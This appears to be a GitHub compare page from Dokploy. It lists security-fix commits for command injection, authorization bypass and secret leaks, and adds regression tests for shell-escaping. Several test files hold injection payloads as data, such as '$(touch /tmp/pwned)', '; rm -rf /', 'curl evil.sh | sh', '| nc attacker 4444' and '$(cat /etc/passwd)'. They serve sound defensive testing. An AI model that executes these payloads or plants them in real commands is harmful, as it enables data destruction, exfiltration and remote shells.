Compare commits

..

47 Commits

Author SHA1 Message Date
Mauricio Siu
35c30a1210 test: assert domain payload never parses as a shell operator (drop literal check)
quote() legitimately wraps the payload text inside single quotes, so the raw
substring is present but inert. leaksShellSyntax (via shell-quote parse) is the
correct assertion; the literal not.toContain check was wrong.
2026-07-20 16:07:11 -06:00
Mauricio Siu
a83b2026f6 fix(security): escape compose domain error message to prevent command injection
writeDomainsToCompose returns a shell fragment that is executed as part of the
compose build script. On error it interpolated error.message (which embeds the
user-controlled serviceName/host) directly into an echo, so a serviceName like
$(cmd) executed as root. Escape the message with quote().
2026-07-20 16:01:47 -06:00
Mauricio Siu
8c2e91a5e6 Merge pull request #4870 from Dokploy/fix/github-setup-callback-authz
fix(security): missing authorization on GitHub App setup callback (unauth cross-org write)
2026-07-20 15:40:46 -06:00
Mauricio Siu
0514363062 chore: drop explanatory comments in github setup handler 2026-07-20 15:37:17 -06:00
Mauricio Siu
ffb8d4396b Merge pull request #4869 from Dokploy/fix/schedule-host-authz-bypass
fix(security): host-schedule owner/admin bypass via applicationId (member → root)
2026-07-20 15:34:19 -06:00
Mauricio Siu
5ae344db58 fix(security): authenticate and authorize the GitHub App setup callback
The /api/providers/github/setup callback performed privileged writes (persisting
App client_secret/webhook_secret/private_key, re-pointing installations) with no
session check, deriving the write target (organizationId/userId on gh_init,
githubId on gh_setup) from the attacker-controlled state parameter. An
unauthenticated request, or a member with no gitProviders permission, could plant
or re-point a provider in any organization.

Require a valid session, gate on the gitProviders permission (same guard the tRPC
github router uses), derive the create target from the session, and verify the
gh_setup provider belongs to the caller's organization.
2026-07-20 15:32:06 -06:00
autofix-ci[bot]
f339805ddf [autofix.ci] apply automated fixes 2026-07-20 21:30:52 +00:00
Mauricio Siu
8fe3294a08 fix(schedule): give scheduleType a clean enum type for the host-access gate
createInsertSchema inferred scheduleType as a broadened union (drizzle-zod 0.5.1),
so passing input.scheduleType into assertHostScheduleAccess failed typecheck on a
cold build. Refine the insert schema's scheduleType to a plain z.enum and type the
helper param as the schedule enum.
2026-07-20 15:30:13 -06:00
Mauricio Siu
1e3f10bd22 fix(security): enforce owner/admin gate on host schedules regardless of service link
Host-level schedules (server / dokploy-server) run their script as root on the
host. The owner/admin gate only ran in the no-service branch, so a member could
attach an accessible applicationId to a dokploy-server schedule and skip it,
gaining root via schedule.runManually.

Extract assertHostScheduleAccess into the schedule service and call it before
the service-access branch in create/update/delete/runManually so the host-level
authorization always applies.
2026-07-20 15:22:06 -06:00
Mauricio Siu
393fb92344 Merge pull request #4865 from Dokploy/fix/authz-websocket-handlers
fix(security): missing authorization on docker/terminal WebSocket handlers (member -> root)
2026-07-20 15:00:02 -06:00
Mauricio Siu
79c9cf99e0 fix(security): pass serviceId from the remaining terminal entry points
- application general 'Open Terminal' now passes serviceId (applicationId).
- The docker/terminal DockerTerminalModal now forwards serviceId to its Terminal.
- compose container rows thread serviceId to their terminal + logs modals.

This lets a member with service access (but without the docker permission) open
the terminal / read logs of their own service's containers from every service
view, matching the backend service-first authorization.
2026-07-20 01:20:16 -06:00
autofix-ci[bot]
6cbc7a0031 [autofix.ci] apply automated fixes 2026-07-20 07:15:39 +00:00
Mauricio Siu
eb1f11b908 fix(security): service access is authoritative for service-scoped wss ops
When a container is opened from a service page (serviceId present), gate on
service access alone — matching application.readLogs — instead of requiring the
docker permission first. This unblocks a member who has the service but not the
canAccessToDocker permission (or the server it runs on) from reading its logs /
opening its terminal. Generic Docker-overview ops (no serviceId) still require
docker permission + server access.
2026-07-20 01:15:18 -06:00
autofix-ci[bot]
1a3c76d1f2 [autofix.ci] apply automated fixes 2026-07-20 06:48:40 +00:00
Mauricio Siu
1e354a3cf2 fix(security): check service access before server in wss authz, and pass serviceId from log views
- Reorder canAccessDockerOverWss: docker permission -> service access (if
  serviceId) -> server access, so the service grant is the primary signal.
- Pass serviceId from the service log views (application + postgres/mysql/mariadb/
  mongo/redis/libsql + compose) so container logs opened from a service page are
  gated by checkServiceAccess, matching the terminal path.
2026-07-20 00:48:20 -06:00
Mauricio Siu
1bc76e9e5b Reapply "feat(security): enforce service-level access on docker WebSocket handlers"
This reverts commit 56169f3278.
2026-07-20 00:35:40 -06:00
Mauricio Siu
56169f3278 Revert "feat(security): enforce service-level access on docker WebSocket handlers"
This reverts commit 479d851829.
2026-07-20 00:29:19 -06:00
Mauricio Siu
479d851829 feat(security): enforce service-level access on docker WebSocket handlers
Completes GHSA-qf9j service-level dimension: when a container terminal/logs/stats
is opened from a service page, the frontend now passes serviceId, and the wss
authorizer calls checkServiceAccess so a member restricted to specific services
cannot reach another service's containers. Generic Docker-overview opens have no
serviceId and keep the docker-permission + server-access gate.

Verified against the local WebSocket: a member (docker:read=false) is rejected
with close code 4003; owner is allowed.

Closes GHSA-qf9j-c9p4-r4xp
2026-07-20 00:14:39 -06:00
Mauricio Siu
68f5afae42 fix(security): authorize docker/terminal WebSocket handlers
The /terminal, /docker-container-terminal, /docker-container-logs and
/docker-stats WebSocket handlers only checked session + organization, so any
authenticated member could open a root shell / read logs of any container, and
the local (serverId=local) branch reached a root SSH shell on the control-plane
host.

Adds an authorization layer (server/wss/authorize.ts):
- container ops (terminal/logs/stats): require the docker permission (owner/admin
  or a member granted canAccessToDocker); for a remote server, require the server
  be accessible to the caller.
- host/server terminal: the local host root terminal is restricted to owner/admin;
  a remote server terminal is gated on server access.

Closes GHSA-c68r-7wg9-p7v2, GHSA-899j-cjwp-v4gw, GHSA-7r6p-v9gw-pwc8, GHSA-qf9j-c9p4-r4xp
2026-07-19 23:49:02 -06:00
Mauricio Siu
637715ac66 Merge pull request #4864 from Dokploy/fix/cmdi-registry-swarm-node
fix(security): OS command injection via swarm nodeId and registry tag
2026-07-19 23:36:26 -06:00
Mauricio Siu
df2779eaeb fix(security): escape swarm nodeId and registry tag in cluster commands
- cluster.removeWorker: input.nodeId (z.string(), no regex) was interpolated raw
  into 'docker node update/rm ${nodeId}' — now shell-quoted.
- swarm image upload (getRegistryCommands): registryTag / imageName were
  interpolated raw into 'docker tag'/'docker push' and an echo. registryTag is
  built from username and imagePrefix, which have no schema regex, so it was
  injectable — now shell-quoted. (The docker login already used
  safeDockerLoginCommand, so credentials were already safe.)
- gpu-setup: nodeId (derived from 'docker info', not user input) escaped as
  defense-in-depth.

Closes GHSA-4mfc-grxw-6858, GHSA-hfwh-69ch-gv47, GHSA-prwq-2mcm-mvhr
2026-07-19 23:34:18 -06:00
Mauricio Siu
95a3556baa Merge pull request #4863 from Dokploy/fix/cmdi-compose-path-command
fix(security): OS command injection via compose path and custom command
2026-07-19 23:11:33 -06:00
autofix-ci[bot]
fbd84b9b0d [autofix.ci] apply automated fixes 2026-07-20 05:07:24 +00:00
Mauricio Siu
d48037a802 fix(security): escape compose path and validate custom compose command
- composePath / appName are now passed through shell-quote in createCommand,
  getCreateEnvFileCommand and services/compose.ts deploy commands, instead of
  being interpolated raw into 'docker compose'/'docker stack' shell commands.
- compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now
  rejects shell control characters (; & | ` $ () {} <> newline), which a normal
  docker compose CLI line never contains, blocking breakout into host commands.

Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw
2026-07-19 23:06:53 -06:00
Mauricio Siu
8539a5c82f Merge pull request #4862 from Dokploy/fix/cmdi-db-backup-restore
fix(security): OS command injection in database backup/restore commands
2026-07-19 22:59:42 -06:00
Mauricio Siu
ccd2e83c57 fix(security): pass db backup/restore identifiers via env vars to avoid injection
The backup and restore command builders interpolated database name / user /
password directly into a 'docker exec ... {bash,sh} -c "..."' string executed
via execAsync / execAsyncRemote. Because the values sit inside the outer shell's
double quotes, a simple quote() is insufficient: the outer shell expands $(),
backticks and $VAR before the inner quoting applies (double-nested shell).

Values are now passed to the container as environment variables (docker exec -e
VAR=<shell-quoted>) and referenced as "$VAR" inside a single-quoted inner
script, so they never enter the inner command text and cannot break out of
either shell layer. The rest of each command (pg_dump/mysqldump/etc., flags,
| gzip) is unchanged.

Closes GHSA-qc73-mp78-4833, GHSA-qf8x-98cv-92qh, GHSA-ww4j-wjrr-rq8v, GHSA-7m3w-rm5f-h4fr, GHSA-f7mp-9jfp-mjrr
2026-07-19 22:54:44 -06:00
Mauricio Siu
89effbe395 Merge pull request #4861 from Dokploy/fix/cmdi-db-service-dockerimage
fix(security): OS command injection via dockerImage in database service deploys
2026-07-19 22:46:44 -06:00
Mauricio Siu
b24202e69b fix(security): escape dockerImage in database service remote docker pull
The deploy functions for postgres/mysql/mariadb/mongo/redis/libsql interpolated
the user-settable dockerImage field unquoted into 'docker pull ${dockerImage}'
executed via execAsyncRemote (SSH) on the remote server path. Now passed through
shell-quote. The local path already used pullImage() (execFile-based) and is
unaffected.

Closes GHSA-6jrh-8qmg-jj3p
2026-07-19 22:45:31 -06:00
Mauricio Siu
0348f5fb38 Merge pull request #4860 from Dokploy/fix/cmdi-docker-build-pull
fix(security): OS command injection in docker build/pull commands
2026-07-19 22:40:47 -06:00
Mauricio Siu
cba0b253c7 fix(security): escape user input in docker build/pull commands
- dockerImage (buildRemoteDocker) -> docker pull / echo
- dockerContextPath (docker-file builder) -> cd
- publishDirectory (nixpacks builder) -> docker cp source/dest paths

These fields were interpolated unescaped into shell commands run via execAsync /
execAsyncRemote during deployment. All are now passed through shell-quote.
Registry credentials already went through safeDockerLoginCommand (unchanged).

Closes GHSA-g9cg-4mmj-mh7p, GHSA-jxxj-gmpx-h5rj, GHSA-qjrc-g63x-qhp9, GHSA-98j8-6vjr-c3xw
2026-07-19 21:53:55 -06:00
Mauricio Siu
1c31ed9969 Merge pull request #4859 from Dokploy/fix/idor-application-one-secret-redaction
fix(security): git provider secret disclosure via application.one
2026-07-19 21:46:29 -06:00
Mauricio Siu
ecbaf6060b refactor(security): exclude git provider secrets at query level in findApplicationById
Simpler and consistent with the existing registry column exclusion in the same
query: drop the secret columns from the nested github/gitlab/gitea/bitbucket
relations via columns:{ ...: false } instead of a post-fetch redaction helper.
Server-side clone paths re-fetch providers by id (find{Github,Gitlab,...}ById),
so deployments are unaffected. Column names are validated at compile time by
drizzle's typed columns config.

Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f
2026-07-19 21:43:51 -06:00
Mauricio Siu
c0afc48da8 docs: trim block comment on redactApplicationGitSecrets 2026-07-19 21:35:59 -06:00
Mauricio Siu
65fe737bc4 Merge pull request #4858 from Dokploy/fix/idor-swarm-cross-org
fix(security): cross-org IDOR + nodeId injection in swarm read endpoints
2026-07-19 21:28:53 -06:00
autofix-ci[bot]
77384b2183 [autofix.ci] apply automated fixes 2026-07-20 03:28:36 +00:00
Mauricio Siu
68ea9f7771 fix(security): redact git provider secrets from application.one response
findApplicationById eagerly loads the github/gitlab/gitea/bitbucket relations
(needed server-side to clone) including OAuth tokens, the GitHub App private key
and webhook secret. application.one returned them to the client, exposing them to
any member with service:read even when hasGitProviderAccess was false.

Adds redactApplicationGitSecrets() in the application service (blanks the secret
columns, immutably) and applies it to application.one. No client feature reads
these secrets (verified in the frontend); server-side clone paths use
findApplicationById directly, so behaviour is unchanged.

Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f
2026-07-19 21:28:02 -06:00
Mauricio Siu
182d3656bb refactor: inline the server org-scope check in each swarm handler
Match the existing getContainerStats style instead of a shared helper.
2026-07-19 21:26:37 -06:00
Mauricio Siu
c2c0e9c1c2 Merge pull request #4857 from Dokploy/fix/idor-server-ssh-key-disclosure
fix(security): SSH private key disclosure via server read endpoints
2026-07-19 21:22:56 -06:00
Mauricio Siu
5563699f71 fix(security): enforce org-scope on swarm reads and escape nodeId
swarm.getNodes/getNodeInfo/getNodeApps/getAppInfos accepted a caller-supplied
serverId and ran remote Docker Swarm reads against it with no organization
check, exposing another tenant's swarm topology cross-org (getContainerStats
already had the check; the others did not). getNodeInfo additionally
interpolated nodeId unescaped into 'docker node inspect ${nodeId}'.

Adds an org-ownership assertion to the four unscoped handlers and passes nodeId
through shell-quote in getNodeInfo.

Closes GHSA-jj6h-388v-9rwm
2026-07-19 21:20:47 -06:00
Mauricio Siu
117cfa1a89 test(types): annotate server record without sshKey relation in redaction test 2026-07-19 21:18:57 -06:00
Mauricio Siu
439eee45ed fix(security): redact SSH private key from server read responses
findServerById eagerly loads the sshKey relation (needed for server-side SSH
operations) including the plaintext privateKey. server.one and server.remove
returned that record to the client, exposing the private key to any member
with server:read regardless of canAccessToSSHKeys.

Adds redactServerSshKey() in the server service and applies it to the server.one
and server.remove responses. No client feature consumes the private key (the SSH
key management UI uses the dedicated sshKey router), and server-side callers keep
using findServerById directly, so behaviour is unchanged.

Closes GHSA-w9cp-jqfw-4xj9
2026-07-19 21:14:10 -06:00
Mauricio Siu
e88c6b6b4f Merge pull request #4856 from Dokploy/fix/idor-git-provider-secret-disclosure
fix(security): git provider credential disclosure via cross-org IDOR (.one endpoints)
2026-07-19 21:11:08 -06:00
Mauricio Siu
57ecfa8884 Merge pull request #4855 from Dokploy/fix/cmdi-git-clone-providers
fix(security): OS command injection in git clone across all providers
2026-07-19 20:49:30 -06:00
Mauricio Siu
97cd7d1009 test(security): fix type error in shell-quote op assertion 2026-07-19 20:47:42 -06:00
Mauricio Siu
cf35eae73f test(security): regression tests for git clone command injection escaping 2026-07-19 20:44:46 -06:00
autofix-ci[bot]
fb7f5bd5b6 [autofix.ci] apply automated fixes 2026-07-20 02:32:57 +00:00
Mauricio Siu
47347ab885 fix(security): escape user input in git clone commands across all providers
User-controlled git fields (customGitUrl, branch names, repo owner/name,
gitlab namespace, SSH hostname) were interpolated unescaped into git clone /
ssh-keyscan shell commands run via execAsync / execAsyncRemote, allowing
authenticated OS command injection. All such values are now passed through
shell-quote before interpolation (defense at the sink, covering every code
path including the compose branch bypass).

Closes GHSA-qxcw-cx35-2hrw, GHSA-hrfh-82jj-3q46, GHSA-6693-xv3f-69px,
GHSA-qwwm-hc7m-7xp9, GHSA-grrj-6xrh-j6vp, GHSA-x2p2-qq8g-2mqq,
GHSA-cg8g-x23v-5fw8
2026-07-19 20:32:15 -06:00
73 changed files with 1211 additions and 240 deletions

View File

@@ -0,0 +1,106 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});
afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});
// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];
describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];
for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}
it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});

View File

@@ -0,0 +1,70 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = (m: string) => [
`$(touch ${m})`,
"`touch " + m + "`",
`x; touch ${m}`,
`x | touch ${m}`,
];
describe("cluster removeWorker nodeId injection", () => {
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
it("escapes nodeId in drain/remove commands", () => {
for (const nodeId of PAYLOADS(MARK)) {
const drain = `: node update --availability drain ${quote([nodeId])}`;
const remove = `: node rm ${quote([nodeId])} --force`;
expect(runsSafely(drain)).toBe(true);
expect(runsSafely(remove)).toBe(true);
}
});
});
describe("swarm upload registry tag/push injection", () => {
// registryTag is built from registryUrl/username/imagePrefix (username and
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
for (const payload of PAYLOADS(MARK)) {
const registryTag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: payload,
username: "user",
} as any,
"app:latest",
);
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
const pushCmd = `: push ${quote([registryTag])}`;
expect(runsSafely(tagCmd)).toBe(true);
expect(runsSafely(pushCmd)).toBe(true);
}
});
it("keeps a legitimate registry tag intact", () => {
const tag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: "team",
username: "user",
} as any,
"myapp:1.2.3",
);
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
expect(parse(quote([tag]))).toEqual([tag]);
});
});

View File

@@ -0,0 +1,104 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};
// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});
it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
});

View File

@@ -0,0 +1,68 @@
import { parse } from "shell-quote";
import { describe, expect, it, vi } from "vitest";
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
// "exists" but does not contain the attacker's service, forcing the error path
// whose message embeds the user-controlled serviceName.
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: () => true,
readFileSync: () => "services:\n web:\n image: nginx\n",
};
});
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
const baseCompose = {
appName: "my-app",
serverId: null,
composeType: "docker-compose",
sourceType: "raw",
composePath: "docker-compose.yml",
isolatedDeployment: false,
randomize: false,
suffix: "",
} as any;
const makeDomain = (serviceName: string) =>
({
host: "example.com",
serviceName,
https: false,
uniqueConfigKey: 1,
port: 3000,
}) as any;
// If the returned shell fragment is safe, parse() yields only string tokens.
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
const leaksShellSyntax = (command: string, marker: string) =>
parse(command).some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
it("does not let a malicious serviceName inject shell operators", async () => {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain("$(touch /tmp/pwned)"),
]);
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
// The payload text may appear inside the single-quoted echo argument, but
// it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
});
it("neutralizes backtick and semicolon payloads too", async () => {
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain(`svc${payload}`),
]);
expect(leaksShellSyntax(result, "rm")).toBe(false);
expect(leaksShellSyntax(result, "curl")).toBe(false);
expect(leaksShellSyntax(result, "id")).toBe(false);
}
});
});

View File

@@ -0,0 +1,41 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];
describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});
it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});

View File

@@ -0,0 +1,66 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
// test exercises only the injection surface, not real docker.
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
const runAndCheckSafe = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {
// no-op stand-ins may exit non-zero; only the marker matters.
}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"x; touch %MARK%",
"x && touch %MARK%",
"x | touch %MARK%",
];
describe("docker build/pull command injection", () => {
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
for (const p of PAYLOADS) {
const dockerImage = p.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("dockerContextPath (docker-file: cd) is escaped", () => {
for (const p of PAYLOADS) {
const dockerContextPath = p.replace("%MARK%", MARK);
const command = `: cd ${quote([dockerContextPath])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
for (const p of PAYLOADS) {
const publishDirectory = p.replace("%MARK%", MARK);
const containerId = "buildabc";
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("keeps a legitimate image / path intact as a single token", () => {
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
// the result back to exactly the original single token.
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
"registry.io/team/app:tag",
]);
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
});
});

View File

@@ -0,0 +1,87 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { shellWord } from "@dokploy/server/utils/providers/utils";
import { parse } from "shell-quote";
import { describe, expect, it } from "vitest";
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("shellWord (git provider shell escaping)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellWord(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellWord(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});

View File

@@ -0,0 +1,44 @@
import { redactServerSshKey } from "@dokploy/server/services/server";
import { describe, expect, it } from "vitest";
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
it("blanks the private key while keeping the rest of the ssh key intact", () => {
const server = {
serverId: "srv-1",
name: "prod",
sshKey: {
sshKeyId: "key-1",
publicKey: "ssh-ed25519 AAAA...",
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
},
};
